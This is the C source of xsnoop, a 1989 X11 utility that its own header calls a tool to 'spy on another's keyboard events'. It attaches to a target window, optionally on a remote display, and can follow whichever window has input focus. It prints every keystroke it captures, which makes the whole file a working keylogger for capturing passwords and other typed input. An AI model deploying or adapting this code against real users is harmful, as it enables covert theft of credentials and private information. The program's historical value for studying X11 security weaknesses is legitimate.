/* xsnoop - spy on another's keyboard events
 * by:		Peter Shipley [copyright 1989]
 * compile:	cc -O xsnoop.c -o xsnoop -lX11
 * use:		xsnoop Windowid
 *
 *	Windowid		in decimal
 *	-w Windowid		in decimal
 * 	-h Windowid		in hex
 * 	-d name_of_display
 * 	-u			 look for key press events instead of key up
 * 	-f			 report focus events
 *
 * see xwininfo(1) or xterm env. var. WINDOWID for window ID number
 */

#include <stdio.h>
#include <ctype.h>
#include <X11/keysym.h>
#include <X11/Xlib.h>
#include <X11/vroot.h>
#define VROOT

#ifndef lint
char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
    All rights reserved.\n";
#endif not lint

#define EVER ;;

char *ProgramName;
void exit();
void setbuf();

static Window GetCurrWindow( /*display*/);

static void usage ()
{
    (void) fprintf(stderr,
    "usage: %s ([-w] Windowid | -h 0xWindowid) [-u] [-f] [-F] [-d displayname]\n",
		    ProgramName);
    exit (1);
}

main (argc, argv)
    int argc;
    char **argv;
{
    char *displayname = NULL;
    int i;
    Window w = (Window) NULL;
    Display *dpy;
    int etype = KeyRelease;
    int f=0;
    int follow=0;

    ProgramName = argv[0];

    for (i = 1; i < argc; i++) {
	char *arg = argv[i];

	if (arg[0] == '-') {
	    switch (arg[1]) {
	      case 'd':			/* -display host:dpy */
		if (++i >= argc) usage ();
		displayname = argv[i];
		continue;

	      case 'F':			/* get current  window focus */
		follow++;
		continue;

	      case 'f':			/* -f  report focus events */
		f = 1;
		continue;

	      case 'u':			/* -u  use keyPress events */
		etype =  KeyPress;
		continue;

	      case 'h':			/* -h WindowId_in_hex */
		if (++i >= argc) usage ();
		w = atoi(argv[i]);
		/* (void) sscanf(argv[i], "0x%lx", &w); */
		continue;

	      case 'w':			/* -w WindowId_in_decimal */
		if (++i >= argc) usage ();
		w = atoi(argv[i]);
		continue;

	      default:
		usage ();
	    }				/* end switch on - */
	} else 
	  w = atoi(argv[i]);
    }					/* end for over argc */

    if(w == (Window) NULL && !follow ) usage ();

    setbuf(stdout, (char *) NULL);

    if ((dpy = XOpenDisplay(displayname)) == NULL) {
	(void) fprintf (stderr, "%s:  unable to open display '%s'\n",
		 ProgramName, XDisplayName (displayname));
	exit (1);
    }

    if(follow) {
	w = GetCurrWindow(dpy);
    }

    XSelectInput(dpy, w, FocusChangeMask|KeyPressMask|KeyReleaseMask);

    (void) printf ("Window is 0x%lx, (%ld)\n", w, w);

    for (EVER) {
	XEvent event;

	XNextEvent (dpy, &event);

	if(event.type == etype) {
	    char str[256+1];
	    KeySym ks;
	    char *ksname;
	    int c;

	    c = XLookupString ((XKeyEvent *)&event, str, 256, &ks, NULL);

	    if(isprint(str[0]) && c != 0) {
		/* (void) fputs(str, stdout); */
		(void) fputc(*str, stdout);
		continue;
	    }

	    switch(ks) {

		case(XK_Linefeed):
		case(XK_Return):
		    (void) fputc('\n', stdout);
		    continue;


		case(XK_Shift_L):
		case(XK_Shift_R):
		    continue;

		case(XK_BackSpace):
		case(XK_Delete):
		    (void) fputc('\b', stdout);
		    continue;

		default:
		    if (ks == NoSymbol)
			ksname = "NoSymbol";
		    else if (!(ksname = XKeysymToString (ks)))
			ksname = "no name";
	    }

	    (void) printf("[%s]",  ksname);
	}

	if( f &&  (event.type == FocusIn) ) {
	    (void) fputs("[FocusIn Event]", stdout);
	}

	if( f &&  (event.type == FocusOut) ) {
	    (void) fputs("[FocusOut Event]", stdout);
	}

	if( follow &&  (event.type == FocusOut)) {
	    char *name;
	    Window wind;
		XSelectInput(dpy,
		    wind = GetCurrWindow(dpy),
		    FocusChangeMask|KeyPressMask|KeyReleaseMask);
		if (!XFetchName(dpy, wind, &name) || !name) {
		    (void) fputs("[{no name}]", stdout);
		} else {
		    (void) printf("[{%s}]", name);
		}
		continue;

	}

    }
}

static Window
GetCurrWindow(d)
Display *d;
{
Window foo;
Window win;
int bar;

    do{
	(void) XQueryPointer(d, DefaultRootWindow(d), &foo, &win,
	    &bar, &bar, &bar, &bar, &bar);
    } while(win <= 0);


#ifdef VROOT
    {
    int n;
    Window *wins;
    XWindowAttributes xwa;

    (void) fputs("=xwa=", stdout);

    /* do{  */
	    XQueryTree(d, win, &foo, &foo, &wins, &n);
    /* } while(wins <= 0); */
	bar=0;
	while(--n >= 0) {
	    XGetWindowAttributes(d, wins[n], &xwa);
	    if( (xwa.width * xwa.height) > bar) {
		win = wins[n];
		bar = xwa.width * xwa.height;
	    }
	    n--;
	}
	XFree(wins);
    }
#endif
    return(win);
}

void exit(i)
int i;
{
    printf("exit = %d\n", i);
    abort();
}

